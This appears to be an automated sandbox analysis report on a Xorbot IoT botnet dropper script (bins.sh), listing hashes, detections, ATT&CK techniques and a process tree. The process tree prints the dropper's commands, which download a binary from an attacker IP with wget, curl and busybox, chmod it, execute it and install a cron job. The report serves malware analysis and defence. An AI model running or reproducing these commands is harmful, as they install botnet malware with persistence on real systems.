xorbot | 8bd93158721b18ddc027f2b17049462e8560b78d1542c2e7d1ba48b4ef9f87ac

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-12-2024 12:19

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General

Target

bins.sh
Size

10KB
MD5

e90f2da4437a0ca5041ff1e269aaf0a3
SHA1

0a98adb2ff20f4f776013005183c6587f70d362e
SHA256

8bd93158721b18ddc027f2b17049462e8560b78d1542c2e7d1ba48b4ef9f87ac
SHA512

0317c9ffa1ef2243992bd8ca65626458420da8aa8eaf8121cb34503b21992579df787d9ae9aa66e4bcf4cfc8e8581e16d84e5807ce0d0a3f86cb4b52d76d2ee5
SSDEEP

96:IbisBw02V1AFV5vKamQq/b3nXeK+ymTHW30IYw02V12FV5vKaQQMQ3nXeKIymvqQ:sv3chG+1

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1504	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU	1505	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU

Renames itself 1 IoCs

pid	Process
1506	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WH1FxE	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1520/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1535/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1558/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1560/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1583/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/426/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1100/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1124/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1616/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1618/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/16/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/182/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1555/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/171/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/419/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1141/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1521/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1528/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/25/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/208/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/445/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1595/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/454/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/539/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1087/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1614/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/179/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/482/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1193/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/954/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/959/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/32/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/98/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/207/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1590/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/886/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1063/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1532/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1569/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1577/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/13/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/345/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1563/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1479/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1527/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/9/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/167/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/652/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/518/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1559/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1547/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1581/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1172/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1332/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/78/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1091/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1149/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/175/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1270/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1551/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/8/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/20/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/30/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
File opened for reading	/proc/1580/cmdline	aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU	busybox
File opened for modification	/tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU	wget
File opened for modification	/tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1484
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  - Writes file to tmp directory
  PID:1486
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  ./aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1505
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1507
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1508
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1509
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1510
- /bin/rm
  rm aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
  2⤵
  PID:1522

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.WH1FxE

Filesize
210B

MD5
8ed65e33c784e5553a5cf738a1019249

SHA1
f2fd88661f27564ccb21dfa7d0ed3c6cde4abb80

SHA256
5893249a59a3ae4212c8696e32f8cea342f8debd24e7282f42c7aec335fad244

SHA512
1e60e07b4e2d55b0d2df771be89591e53bf8ce2f2122479218fd49d035e4ab7c80cb8fbfa773a60410d2b29fc210ba97057015862e558e400341bdf81d902eb4

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads